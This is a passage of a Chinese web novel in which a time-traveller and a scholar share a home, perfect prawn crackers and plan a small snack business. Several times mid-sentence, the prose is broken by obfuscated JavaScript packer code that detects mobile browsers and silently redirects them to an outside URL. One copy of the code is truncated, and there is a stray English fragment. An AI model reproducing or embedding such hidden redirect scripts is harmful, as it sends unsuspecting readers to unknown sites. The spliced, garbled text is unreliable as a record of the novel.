月光带着凉意从窗外流淌进来，给眼前少年镀上一层朦胧柔光，如一颗月光琥珀，不知封印着怎样一个梦境。 有那么一瞬，孟知彰甚至以为对方会随着这层月光，随时消散在风中。 “你……还想留下么？” 15. 作精 “为什么不留下？” 庄聿白被问得有点懵，忽闪着亮晶晶的眼睛看向孟知彰，像只人畜无害的小兽。旋即一抹狡黠又湾上眼底。 “孟兄家底比我预想的厚多了。孟兄三天两头不在家，当然啦，我是相信你为人的，但不知情的人还以为你债台高筑，是出去躲债呢。” 孟知彰垂眸未语。夜风扑来，琥珀色发丝微微轻扬，缠住了他的视线。 一分钱难倒英雄汉。庄聿白以为孟知彰在为钱发愁，开始画大饼。 “别看眼下日子拮据，咱马上就有新营生了！兄弟，相信我！这虾片生意一定能成！咱攒够了钱，你去府城考试，也带上我去耍一耍，让我见识见识这府城的繁华。对了，你去府城考试，要花多少银子？” 孟知彰视线从那一抹琥珀色上往回拉了拉：“三年前去府城参加过府试，当时家中有5两银子积蓄，此外族中出了5两，族长家帮衬1两，牛大叔家也凑出500文。” 庄聿白掰指默默一算，眼下还差着8两亏空。这几日他大致摸清这个时代的基础物价结构。短短几个月再多攒8两银子，有点痴人说梦。 不过他庄聿白向来喜欢挑战。 搞钱！明早就把第一波虾片炸出来，给眼前这个大书生开开眼、定定心。 不等庄聿白自告奋勇要承接8两赶考银两的艰巨任务，温润又带着磁性的嗓音在他头顶传来： “天色不早了，琥珀兄早些安寝吧。” “哎哎，我说孟兄啊，别一口一个琥珀兄的叫我！咱俩都这么熟了，多生分！” “我们……很熟么？”孟知彰眉心一动，眼神忽地多了份莫名的期待。 “咱都穿同一条裤子了，这还不算熟？还能怎么熟？” “……” 虽然不知道现在几点，疲累的身子告诉庄聿白确实该睡了。他看看床，又看看坐回椅子里的孟知彰：“你不睡么？” “我还差几页……” “打住！”庄聿白看出来孟知彰是在逃避，直接把话说到明面上，“你是不是不想和我挤一张床？” “……” “别忘了咱有一月为期的君子协议在前，我这个人很有契约精神的。有言在先，不到一个月我是不会走的。难道这一个月里，你每晚都抄书不睡觉么？首先这是你家，没有让主人睡地上的道理。再者，我是客人而且身子弱，也没有睡地上的道理。可咱家里就是这么个条件，俩大男人挤一挤好了！” 庄聿白越说越激动，大大咧咧就去拉孟知彰的衣袖。 这一拉不打紧，孟知彰手中的笔差点没拿住掉到地上，还好他手快，一把接住，仔细支在笔架上。 “嗐！不就是挤一张床么，又不是拉你去洞房，紧张什么？” 半抹悬月垂在天际，时辰真的不早了。 闹不过对方，孟知彰只能小心收了书册和笔墨。 庄聿白将人拉到床边，鞋子一甩，抬脚上了床，一骨碌爬去里面：“怎么了……你也想睡里侧？我睡觉不老实，睡外面容易掉地上，知彰兄让让我！” 床上人尾音发颤，不知哪学来的腔调，孟知彰喉结猛然一滞。他没吭声，夜色中点了点头，刚转身坐在床沿准备脱鞋，床上人又开腔： “我睡觉不老实，手脚绑起比较好，对你我都好！脚我已经绑好了，这手……” 庄聿白将被布帛缠得烂七八糟的双手递过来，眼神中满是请求：“知彰兄，帮帮忙啦！” 孟知彰也不清楚怎么了，今日喉咙总是发紧，他轻咳一声，虽有夜色挡着，他还是尽量避开对方视线：“……你确定？” “确定，来吧！” 庄聿白将手递得更近了些，差点怼到书生面前。 孟知彰需要坐直身子微微后仰才能看清眼前情形，他解开这一团乱的布帛，捋顺后一层层缠上紧握拳头的两个细弱手腕。 “这伤……” 虽看不太清，但手腕的淤伤还是能辨出一二，孟知彰想起淮南的那场祭河，眼中闪过一道杀气。但这道杀气，随即又被眼前人的无理取闹暂时压下去。 “我从河里逃出来的，应该就是那会蹭到了。没事。一点也不疼。快绑呀！我都困了……” 想绑着睡就绑着吧，至少有自己守着，没人敢怎么样。孟知彰将布帛打了个活扣，以免对方不舒服，还特意系得松些。 “多谢！” 庄聿白上下看看很是满意，咕咚躺回枕上，左右整理下，找到个舒服的睡姿，忽又发现哪里不对，竹节虫一般扑棱着翻了个身，面朝里侧躺过去，将手压在脸下，乖乖的。 房间安静下来。 墙角的草虫声一阵接一阵。 床上人没再动，孟知彰松了口气，抬手脱掉外衫，挂在床前衣架横木上，正要解腰间帛巾，身后又发了话。 “孟兄，帮忙盖下被子……我没有手了。” “……！” 孟知彰看了看堆在一旁的粗布单被，扯住两只角，轻轻搭向这个瘦削的身体，屏着气息，生怕自己动作大些，被子便会将这个身板压疼、压碎。 孟知彰整理下自己的枕头，准备面朝外躺下。躺倒一半…… “知彰兄，我后背痒，拜托帮我挠挠。” “？？？” “快点！右上……啊呀，痒死了，救命！”庄聿白见身后人没反应，浑身扭动起来，活像只berber乱蹦的大鲤鱼。 无声的叹息：“……这里？” “再右一些，再右……不对，回来些。停，就是这……唔嗯，舒服……用些力气嘛！……啊，轻点！” 一番折腾过后，孟知彰终于躺下了。他双臂抱胸，面朝外侧躺在枕上，在外面奔波了这几日，回家的感觉真好。只是身后多了一个人，他暂时还不习惯。 孟知彰闻着家中的气息，缓缓闭上眼。 “孟兄，能不能把月亮关上……”不用猜，还是身后人，并给出了充分且合理的理由，“太亮了，晃眼睛。” 孟知彰翻身下了地。 木轩窗轻阖，将月色和这尘世的嘈杂，一起关在外面。 * 庄聿白醒来时，天已经大亮。 他缓缓伸个懒腰，在床上撑出一个“大”字，等他扭头瞥见身边空掉的枕头，忽想起昨夜身边睡过一个人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779376|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今天坯片的干度应该达标，可以下锅炸制。他一骨碌爬起来，抓起外衫边穿边急吼吼往外走。 “孟兄，早！” 庄聿白一阵风似地经过孟知彰，目标明确一根线冲到圆簸箕跟前，伸手抓起一枚橘色坯片。 晒干后的坯片颜色更深了一些，半透明，周边微卷，满满一簸箕，阳光一照，柔柔粉粉很是可爱。 “哗啦啦、哗啦啦——” 庄聿白将坯片收到一起，这个干度正正好。做好的坯片保存适当，放个十天半月完全没问题。 “其声清脆，有如碎玉；其色盈润，有如冰玉。”孟知彰跟过来，“琥珀兄做的可是‘玉片’？” “玉片？！这名字好！”庄聿白眼前一亮，小声念叨几句，“那面筋也改个名，就叫‘金球’。一个玉片，一个金球，金玉满堂！俗是俗了点，但喜庆啊。喜庆就有市场，咱老百姓不就图个好彩头么！孟兄觉得如何？” “金玉满堂，甚好！”孟知彰点头。 “真的么？”被文曲星一说好，庄聿白倒有些不自信了，毕竟是自己信口胡诌的。 “是真的好。”孟知彰回答得认真，并让对方洗漱后来吃早饭，“我今日去趟学里，家中若有什么事，可以等我回来。” 一听对方去学校，庄聿白眼睛转了几转。 “那可太巧了！你不急的话，稍等我小半个时辰。我们把这虾片炸出来，你带些给学里的先生和同学……同窗们尝尝。” 庄聿白心中小算盘打得飞起，这都是他的潜在客户群体。能出来读书的，一般家境还算可以，一二十文买零食的钱总归是有的。 庄聿白急着展示心心念念的虾片成果，一顿早饭速战速决，袖口一束，围裙腰间一系，在灶上忙活起来。 孟知彰给他打下手。 庄聿白小时候最喜欢外婆的炸虾片，每每自己调皮挨训后，外婆总会炸些虾片来哄自己。 一把片坯入锅，外婆会让眼巴巴守在一旁的自己跟着数数。 等数到5，“咘噜”，澄亮油面下便会猛地钻出一团绵雪状的虾片，白白净净、摇摇晃晃浮在那里。紧接着第二片、第三片，三五成群，越冒越多，亭亭盈盈，满满当当…… 不一会儿，整个虾片锅就像塞满小学生的春游车，一张张笑脸带着那种童真的喜悦，惊呼雀跃，争先恐后哗啦啦往外溢。 重现这一幸福奇迹的时刻，到了。 久违了。 来自现代美食的震撼，庄聿白也要带给眼前这个古代书生。 孟知彰大概猜出庄聿白的心思，跟在一旁，很捧场。 油温上来，油色慢慢加深，黄绿色长竹筷插入亮棕色麻油，顶端冒出细碎的泡泡。 庄聿白给孟知彰递了一个眼神，就是现在，准备数数。 一把浅橘色坯片撒入锅中，瞬间沉底。很快大量水泡冒上来，越来越密。 5、4、3、2、1 “咘咘”坯片翻滚上来！ 庄聿白的心也跟着翻上来，他快速看了眼书生，确定对方也在注视这场盛况。 来吧，一起见证雪开遍地、满院飘香！ 16. 桑葚 “嗞嗞嗞” 数十个坯片在锅中快速打转。油炸食物的酥香和虾肉的鲜香，越来越浓。 可是……预想中绵雪崩炸的虾片出锅场景，并没有出现。 庄聿白愣住。难道油温不够？ 灶下又添了把火。灶上油烟已经呼呼冒起来，坯片仍只在“嗞嗞嗞”转圈圈，而且转眼变成焦糖色，再不捞出就糊了！ 庄聿白赶紧清锅。 不是油温的原因。或许刚才下锅太早了？ 庄聿白不死心，又放入一把坯片。 沉底、冒泡、“咘咘”翻浮上来、“嗞嗞嗞”……错误的经历，又完完整整复制粘贴了一遍。 看来与烹制过程无关，那就是坯片制作环节有问题。 灶下熄了火。一盘焦糖色片状食物，摆在一脸不悦的庄聿白面前。像一名被俘败将，五花大绑被人强押着来参观尸陈遍野的战场。 “酥香满口，虾味鲜甜。”孟知彰试了一片，“这玉片味道甚好！” 庄聿白有气无力抬起眼皮看了眼孟知彰，对方脸上真诚满满。他经不住对方邀请，拿起一片。 “嘎嘣嘎嘣”也不是不能吃，更不是不好吃，但这……就不是虾片。口感更像虾味锅巴，硬脆咸香。 “孟兄，玉片没有蓬开，颜色也不对。应该是坯片环节出了差池，我再研究下用料配比。”庄聿白深深叹口气，“今天你去私塾恐怕是带不成了。” “谁说玉片一定是白色？黑曜玉，也是玉，不是么？”向来一本正经的孟知彰竟然也幽默起来。 庄聿白知道孟知彰在替自己找补，宽慰自己。 孟知彰换上长衫去私塾，临走带了一小袋麦子，说再磨些面粉回来，又故作轻松道：“家中还有余粮，夏收新粮马上下来了。我们再试几次。不急。” 柴院恢复安静，院外不知名的鸟雀偶尔啁啾几声。 庄聿白坐在院中的小木凳上，阳光暖暖打下来，投下小小一坨影子。 他有种被阳光淋湿的幻觉。自己像一只长毛娃娃，阳光下被人强行浸在水底，一种阴冷冷、湿哒哒、空落落的窒息感箍紧全身。 庄聿白打了个冷颤。说是幻觉，身体的感受又那样真实，像是亲身经历过一般。 面筋成功是真的，面筋好评也是真的。可主打商品——虾片，这次却是实打实翻车了。 时间、材料和金钱，都搭进去，至今却分文未进。对了，那个货郎张离开后就再没出现，难道也出了问题？ 人一不顺，往往就会钻牛角尖，就容易否掉过往一切。结果导向固然重要，但搞“连坐”，否定其他付出，未免就小题大作了。 庄聿白不一样。哪怕阴雨天，他内心的小太阳也会能量满满，不仅给自己充电，还能将周围湿漉漉的环境照亮。 长毛娃娃很快钻出水面，甩甩毛，抖掉身上水珠，昂头看了看天。今天太阳很好，若现在重新和面做坯，明日应该就能起锅炸制。 孟知彰从私塾回来时，满院坯片映着霞光很是热闹。铺满簸箕的还有新淘洗的淀粉，以及一大份待分装的“金球”。 “孟兄回来啦！我们准备吃饭！” 庄聿白从热火朝天的灶上探出头，脸上笑容明媚，早不见清早他离家时的小乌云。 孟知彰将新磨面粉放进灶屋米缸，拍拍手上残粉，拿出一小捆野菜，说是牛大婶给的。 磨面产生的麦麸孟知彰都会留给牛家，他家有驴子，是不错的饲料。 庄聿白接过来，是一把青嫩的灰灰菜，笑道：“正好搭今天的玉片汤。” 晚饭上了桌，孟知彰只看了一眼便明白所说的“玉片汤”是什么。 第一批虾片坯虽没有完全成功，但不妨碍食材本身鲜美。既然“外销”不够资格，那就“内部消化”。庄聿白换了种烹饪方式，油炸不行，那咱水煮自用。 白色瓷碗托着淡橘色半透明水煮虾片，绿油油的灰灰菜叶缀在上面，看去上赏心悦目。虾片润滑，入口筋道，菜叶油亮，绵软提鲜。 野菜的清香和虾泥的鲜甜，在方寸碗盏间得到完美融合，抚慰着、也奖励着柴门内的两位草野少年。 接下来的几天，虾片坯搭配着各种食材出现在餐桌上，虾片白粥，白灼虾片拌黄瓜，虾片炖蛋…… 排列组合，换汤不换料。 孟知彰多寡照收、来者不拒，不管餐桌上什么菜式，一心充当合格的“光盘大使”。吃完，还会满怀感激说一句，“味道极好。” * 这日私塾下学早，孟知彰到家时天还大亮。 他看了眼手中的桑叶包，神色轻快推开门。想到今日餐桌不知又会出现怎样的玉片组合，眉眼多了层柔和。 柴门打开，孟知彰微微一怔，心跟着一点点下沉。 院子中静悄悄、光秃秃，全然没了近日的兵荒马乱。晾晒淀粉、虾片的架子、簸箕…踪影全无。地面整洁，清扫过后还洒了水，空气中浮着淡淡的泥土气息。 一种不好的预感袭上来。 孟知彰明白眼前景象意味着什么。可他不想相信。 招文袋襻带布绳垂在腿侧，随着脚步加快而猛振几下。在白色长衫间一路荡着的，是从未有过的失序与凌乱。 灶间，也没有人。 空荡荡，整洁，锅碗瓢盆各就各位，没有用过的痕迹。 没了往日的喧闹忙碌，没了那声“回来啦，我们吃饭！”，更没有了水汽氤氲下眉眼愈发清亮的那双眸子。 一切像一场从来没被人打扰过的梦。 还没来得及细品，倏忽间，梦却要醒了。 孟知彰站定在庭院，夕照余光还有些强烈，照得他眼前一片白茫茫。 曾经的那份安静，那份陪伴了他整整三年的孤寂生活，似乎又回来了。 孟知彰抬手遮了下太阳，定定神。忽然余光瞥到什么，脚步快起来，几步跨到正屋门前。 房门虚掩，他深吸一口气，抬起的手却迟疑了。 木门推开，床铺整洁，满室清净。 阳光半洒的书桌旁……一人正低头捧书！ 琥珀色长发拢着光，像半透明的蝴蝶翅膀，似乎风一吹，便会振翅飞走。 人还在。 还好。 孟知彰不觉呼出一口气。心中巨石落了地。 方才一瞬间，诸多念头一齐闪过，心，竟然跟着乱了。 原来不知从何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784043|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时起，孟知彰已经习惯了回家有人等。这种感觉…… 孟知彰没有再想下去。他几步走向庄聿白，带着失而复得的轻松和喜悦。 “我回来了！”今天的阳光真好。 * 庄聿白从书中抬起头。今天的孟知彰神采奕奕，像是遇到了什么了不得的开心事。 “这是什么？”庄聿白视线被孟知彰手中那个揉皱了的桑叶包吸引。 翠绿的桑叶边缘渗出些紫红色汤汁，给紧紧按在上面的手指染上一抹红。汤汁汇聚，似要滴落下来。 孟知彰一身白衫青衿，若被这么深的汤汁染上色，可不容易清洗。 “当心衣服！” 庄聿白忙将书扣在桌上，起身从椅子里绕出来，一把接过孟知彰手里的东西。 孟知彰手中一空，低头去看才发现是自己刚才没留意，一时用力倒把一直护在手里的桑叶包捏碎了。 “无妨。”他将边缘淌汁的桑叶包又接回自己手中，拈起桑叶一片片小心展开。 绿色叶片上堆着紫莹莹的小果实，尾端细细勾挂着青色长蒂，水润润、圆鼓鼓一小捧，甚是可爱。 是现摘的桑葚。 “刚在林子里遇到云兄家的刘叔，顺手给了我一捧。”说着孟知彰往庄聿白面前递了递，“林中寻的。虽不及市面上的大，但味道极好，快尝尝。” 庄聿白喜欢吃浆果。 但浆果不容易保存和运输，超市里售卖的都是七八分熟就摘下的，这种树上完熟的果子很难吃到。 他就孟知彰手上拣了一颗，轻轻一嚼，汤汁瞬间迸裂，溅满唇吻。浓郁的果香中挑出一股清亮的酸，酸甜平衡，口齿溢津。 庄聿白高高竖了个大拇指，挑出一颗最大的递到孟知彰唇边：“甜！你也吃！” “……”孟知彰一时愣住。 庄聿白将桑葚递得更近些，挑眉：“怎么，这桑葚有毒？你吃不得？” 孟知彰眸底一震，他看着面前桑葚，“……我自己来。”说着伸手来接。 “你自己来？”庄聿白向后躲开，桑葚在手中晃晃，“难不成我手里有毒？” “当然不是。”孟知彰没接到桑葚，手滞在半空，有些进退为难，“我……” “你怕我害死你，侵占你这满院家私！”庄聿白假装恼了。 “不是！是我……” 为人处世向来沉稳持重的孟知彰，此时竟局促得耳根发热，他没想到自己也有应付不来的局面。 不过这确实为难到了孟知彰。打记事起，他不记得有人这般喂自己吃东西。 巧了。打记事起，庄聿白也不记得自己这样喂过别人吃东西。可不知那股风吹偏了，他今天就想这样逗一下孟知彰。是好兄弟，喂一颗桑葚，怎么了！ 两人莫名僵持在原地。 日光流转，窗棂的影子缓缓爬上披着琥珀色头发的肩头，漫上举得高高的那颗桑葚。 总得有人让步、有人破局。 “那……有劳琥珀兄。” 孟知彰像下定了某种决心，向前迈了一步，俯下身，低头去够庄聿白举到耳侧的那颗桑葚。 不料马上够到时，桑葚却又向后挪去。 17. 玉片 既然跨出第一步，自不必计较后面这一寸两寸。 孟知彰缓了半口气，身子向前探得更远些，盯紧那颗桑葚，俯下脖子绕过庄聿白单薄的肩头。 肩头单薄，像阳光下的一片刀刃，硌得孟知彰心头发酸、发疼。 全程没有触碰，这个姿势……却像极了一个拥抱。 “扑通扑通”孟知彰似乎听到自己的心跳，不，他此刻只能听到自己的心跳。 等他回过神，桑果已半含在口中。他咬住果蒂，嘴唇却不小心碰到捏着桑葚的手指……柔柔，凉凉。 孟知彰站直身子，耳边墨色碎发勾到几根琥珀色发丝，发丝纠缠，沾满夕阳的金色柔光。 他好整以暇向后退了一步，站定。 桑果咽下，不知酸甜。孟知彰喉结凝滞，耳朵被阳光照得有几分烫，听到身边人问“好吃么？”也只是下意识答了句，“好吃。” 已是仲夏，树影正浓，暖风微醺。 今天的庄聿白，的确比往常更活泼、更兴奋了些。 那是因为今天的确是个值得兴奋的日子。 庄聿白将一大盘白雪一般蓬松洁白之物端来时，孟知彰眸底忽地被照亮。 “这就是玉片？” 以免再次被投喂，孟知彰先拿了一片在手中。 第一感觉，轻，像一抹山岚，又似一簇云团。 在对方期待眼神的注视下，孟知彰试了试这来之不易的玉片。 “咔滋咔滋，咔滋咔滋——” 口感像一团脆脆的雪霰，松软酥香，鲜味外溢。麦香裹着虾香，让人从内而外生出一种暖暖的满足感。 “蟹浓膏香难评其味，漱玉嚼雪略拟其声。这玉片，果真不同凡响。”孟知彰说得真诚。 几句话夸得庄聿白脸颊红红的，他眉眼湾笑，话也多起来： “上次没蓬起来，那是虾泥放多了。虾片蓬松靠的是淀粉。淀粉含量不够，蓬松度自然上不来。这次重新试做，我特意控制了变量，调配淀粉和虾泥用量，做了几种不同坯片，终于找到最佳用料比例……你看这蓬松度、这适口感、这咔滋咔滋的声音……” 孟知彰认真听着玉片的“诞生”过程，不觉又拿起一片。耳中软玉碎裂之声不绝，眼前人眉眼弯弯兴致盎然。 一抹夕阳从石榴树枝透下来，给庄聿白轮廓勾勒上一圈朦胧的光晕。 柔软的琥珀色中总有一抹红在跳动，不知是背景中的石榴花、还是眼前人眼尾的那一点红色泪痣。 琥珀色越发澄亮，似乎封在其中的那个梦，也跟着明丽起来。 光线太亮，孟知彰收回视线，他不知怎么了，近日总生出些奇怪念头。 孟知彰轻轻婆娑手中玉片，不觉抬眸又看了下眼前人。冥冥中，或许上苍真的偏爱自己。 “叮咚咚——叮咚咚”一阵拨浪鼓响起。 “是货郎张！”庄聿白眼前一亮，一路小跑着接了出去。 孟知彰视线跟过去时，满院寂静，只剩半开的柴门敞在那里，空空荡荡。 他想起方才那个被琥珀色封住的梦，脚下忙跟了过去。 好在刚走到院门，便听见庄聿白带着一人边说边笑着往回来。 好久没有听到这样的笑声了。 孟知彰索性将两扇门大开，站在门外等候着归来的人。 “货郎张来了！快看他带了什么！”庄聿白手里拿着一团绿色，远远挥手招呼着孟知彰。 孟知彰迎上去几步，看清庄聿白手中的菜苗，他先同货郎张行礼道了安康，顺手将菜苗接过来。 货郎张方才还跟庄聿白有说有笑，见到孟知彰忽地拘谨起来。他扯扯衣襟，依模画样地也向他眼中的文曲星行了礼。 庄聿白搞到心心念念的菜苗，他的小菜园就算成功了一半。有小白菜、有萝卜、有芹菜，还有一些胡萝卜种子和黄豆。白菜和芹菜，一周就能上桌，萝卜么，哪怕自己一个月就被扫地出门，就当报答这书生收留之恩。至于黄豆，他自有妙用。 “还有一个好消息，”庄聿白满心欢喜看着孟知彰。孩子似地想制造惊喜，藏着掖着半天，自己却忍不住先笑了场，索性主动和盘托出。 孟知彰很知趣地接话：“是什么好消息？” 庄聿白笑道：“‘金球’有回头客啦！一次预定5包。虽然不多，但是个漂亮的开端，不是么！” 货郎张也忙跟着补充，黝黑的脸上堆满笑：“我那日到镇上，有两个妇人瞧着这面筋球，哦对，小郎君说现在叫金球，那俩妇人瞧着这金球稀奇，想买又不想买的，后来犹犹豫豫还是各买了一包走……” 说到这，货郎张不好意思笑了一下。 “做我们这行的，最怕客人来厮闹。我想着那妇人买下金球时带着不情愿，也有一点强买强卖的成分，担心惹上麻烦，下次再路过我故意换了条街，绕开常走的那条。谁知其中一个妇人撵了我几条街……我长话短说，她这几日天天盼我去，说金球家中老小都喜欢得不得了，让我常去，还一下把3包的钱先付给了我，旁边人听那妇人说得这般好，也跟着付钱。这一下就是5包。” 货郎张越说越高兴，不知什么时候扯住庄聿白的袖子，兴奋得直摇：“小郎君，我这次要带10包金球，可有现货？” 庄聿白也欢喜得无可无不可，抬手搭上货郎张的手腕：“别说10包，20包也是有的！你给我个把时辰，我现做给你！” 孟知彰看看二人，两步站过来，将盛着玉片的盘子隔在他们中间：“有‘金球’怎少得了‘玉片’？这是金玉满堂的“玉”，先试试味道如何？” 货郎张忙松开扯住人家袖口的手，笑着拿起一片，“咔滋”一口，整个人先愣了下，反应过来又“咔滋咔滋”两口。 半天也不说话，只是圆睁着眼睛。 “怎么了……不好吃么？”庄聿白看着货郎张的表情，语气都变得不自信起来。他自己也拿了一片“咔滋咔滋”。玉片还是好吃的，可货郎张的怎么反应会这般平淡，甚至是冷静？ 货郎张似乎没听到庄聿白同他讲话，他缓了半日神，伸手去袖子里掏出一个布巾。 “没关系的，不好吃就不吃了。”庄聿白勉强笑着，试着去宽慰货郎张。 众口难调，可能真就有人不喜欢吃膨化食品。庄聿白顺道也在心里宽慰了下自己。 “不不不，好吃！好吃！”货郎张慌忙摆手，“这……玉片确实是好东西。只是我……从来没吃过这么有趣的东西。剩下这半片，想着带回去给我家那位……也尝尝。” 货郎张将口中省下的半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787737|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块玉片，轻轻放在灰色粗布布巾上，一双看去年轻却又老茧横叠的手，将布巾四角慢慢折起包好，又小心揣进袖子里。 七尺糙汉，风吹日晒的脸庞上竟浮上赧色，货郎张有些不好意思地冲孟知彰和庄聿白点头致谢：“让二位见笑了。” “嗐！”庄聿白长长舒了口气，“我还以为你不喜欢呢，你等等。”庄聿白一把端走孟知彰手里的盘子，说话间又折回来，边走边折着手里的荷叶包，“这次试做的不多，吃了些，这半包你带回家给嫂夫人尝尝。” 货郎张哪里敢接，连连后退，手都摆出残影：“不不不，有这半片就够了。他近日胃口不算好，我回去哄他多吃半碗饭。” “只是一点吃的，不值几个钱，若不拿着就是嫌弃了。”庄聿白坚持，硬拽着将半包玉片塞到货郎张手上。 “10包金球没问题，我想着若和这玉片一起售卖，凑成‘金玉满堂’，也是有生意的。至于玉片的价格……这样，等我晚上细算算，你明早来时，我先做一批给你带上，你试试行情。” 货郎张千恩万谢地接了荷叶包，答应明天一早就过来。 又听说庄聿白这里荷叶告急，货郎张立马将这揽子活包下，说家中荷叶都是现成，土生天地长的，他家中每年都会晾晒许多。他明早带一些过来，让庄聿白放心用。 送走货郎张，庄聿白端着那些菜苗，脚步轻快去了后园，一路还哼上了小曲。 黄昏时分日光强度减弱，秧苗移栽的成活率高。 菜园东南角辟出一个两米见方的小苗圃，上次从山中“借”来的腐殖质搀着土木灰已经作为基肥施在圃里。庄聿白用小铲子翻了翻，土质松透，湿润蓄水，颜色也较周围的土地深上几个色度。 只是育苗，庄聿白没有起垄，简单分成三小块便将菜苗种在苗圃里。过些天菜园就绪后还要进行一轮移栽。 菜苗只有三五个叶，青绿一片，看上去软软的，弱柳扶风站不住的感觉。没关系的，只是短时缺水，属于正常现象。 庄聿白取了水来，将小苗们缓缓浇透。明天太阳一照就能精神起来。 “小苗苗们，很高兴认识你们。喝饱水，好好睡一觉，我们明天见啦！啦啦啦……” 将小苗亲手栽进土中，看着它们一点点抽条长叶，见证生命在有序有制的成长……这种对周围秩序的掌控感，这种掌控感所带来的真实感和踏实感，对刚穿越来的庄聿白来说非常重要。 和“新朋友”道过晚安，庄聿白起身准备回家。 他刚准备转身，不知何时身后多出一堵墙，遮天蔽日。 “是孟兄啊，”庄聿白不小心被墙撞了下，坚硬宽阔，嗯……带着温度。他扯住挂在墙上的“帷帐”，踉跄几下才站定。 对方没说话，一方青灰色巾帕递过来：“额头。” “哈？”庄聿白一时没反映过来，顺着孟知彰的视线看去，应该是脸上不小心蹭上了泥。他忙道谢接过巾帕，往自己眉头擦了擦，抬起笑脸问对方，“还有么？” 孟知彰没说话，坚毅的唇线一抿，顿了片刻，直接将巾帕从庄聿白手中抽出来，抬手将白皙皮肤上的深棕色泥点擦掉，顺路将杂陈在脸侧的几根琥珀色发丝理至耳后。 庄聿白眼前晕了一下，估计是刚才蹲久了。 18. 定价 Yes or “快来看新栽的小苗。用不了几天，家里就能吃上自己种的青菜了！” 庄聿白为掩饰尴尬，忙转移话题。 孟知彰点点头，将巾帕收回袖中，背过身指着菜园一角的肥堆：“明日是要翻堆么，如何翻？我来做。” “明天就是第四日了，幸好孟兄你还记得。” 庄聿白跟着走近肥堆，去检查当前的分解状况。 肥堆整体高度没有降太多。庄聿白抬手轻扇几下，招气入鼻。嗯，也没有臭味。又围着转了一圈，外围也未发现白色粉末。他找了根木棍，用力将肥堆戳了个小洞，探手进去——嗷嗷，好烫！ 庄聿白搓搓手，不停点头。一切参数都正常，说明碳氮的配比适中，内部湿度和热度也刚好。 初来乍到，东拼西揍弄成的肥堆，第一次就能这么成功，看来真要感谢“新手保护期”。 “翻堆的原则，就是里外上下倒一个个儿。” 庄聿白怕自己解释不明白，抓着手中木棍正准备无实物表演一番，却听身旁云淡风轻来了句： “知道了。高度还是保持现在这般？” “对！高度保持。” 获取到想要的明确信息，孟知彰收拾起带至菜园的工具，披着夕照朝家走去。 庄聿白跟在后面不住点头，眼神中满是钦佩：学霸就是不一样，刚审完题，答案就出来了。心中正嘀咕，一抬头，一幅动态人物写真画铺在眼前： 宽肩窄背、器宇轩昂，一身斜辉打在孟知彰还未来得及换下的青青子衿上。这傲人的身姿，这通身的气质…… 知道的，晓得这是种完菜回家；不知道的，还以为是某位大国使节刚在外交谈判中大获全胜，正带着他的得力助手们班师回朝呢。 看着荒芜土地上立起的这个魁梧身影，庄聿白还想再感慨几句，却见“使节大人”已站定在柴院旁回头等自己。 “回家了。” “好！来啦！” * 吃了几天花样百出的“创新”虾片餐，“试错期”留下的坯片终于消耗一空。 晚饭后，小院静下来，一苗灯火在茅屋内亮起。 纸张大大铺开，占了半张书桌，纸上歪七扭八写着些字，太过抽象，说像鬼画符也无可厚非。 庄聿白抓着一杆竹笔，较劲地一边写一边涂。屋内光影晃动，时不时还传出几声叹息。 不知涂满几张纸，笔杆顶端留下几排牙印，这份《“金玉满堂”投入产出表》可算是画了出来。 庄聿白从头到尾又看了遍，甚是满意。 -- “金玉满堂”投入产出表 3斤小麦+1斤虾=①2斤虾片干坯+②0.6斤水洗面筋+③0.6斤麦麸 ①2斤虾片干坯=20包玉片*8文/包=160文 ②0.6斤水洗面筋=6包金球*8文/包=48文 ③0.6斤麦麸=0文（送牛大叔家老驴（*^-^*） 毛收入：160文+48文=208文 总成本：小麦（24文/3斤）+虾（22文/斤）+油柴糖盐调料（5文）+磨粉（1文）+试吃等折损（4文/包）+货郎张分销折扣（26文/26包）=82文 利润：208文-82文=126文 -- 眼下货郎张这条渠道算是有眉目了。 首次出击就有回头客追上来，也证明咱这“拳头产品”很有市场前景。 庄聿白信心大增，斗志昂扬。 笔杆从紧咬的两排贝齿间拔下，快速上挑，将遮住眼睛的一绺琥珀色碎发拨开。庄聿白看了看刻在上面的牙印，又塞回嘴里继续磨咬起来。 他躬着上半身，恨不能将头埋在这份表格上，紧锁眉心，心里认真盘算。 据他预测，接下来一段时间生意会出现一波小浪潮，等风头刮过去，按照常态，20包玉片6包金球，货郎张隔天来取一次，2天时间应该能全部卖出去。 这样算来，2天能得利润126文。30天就是1890文。 哇，1个月就有1.8两银子进账！ 1.8两！庄聿白“噌”一下从椅子上站起来。 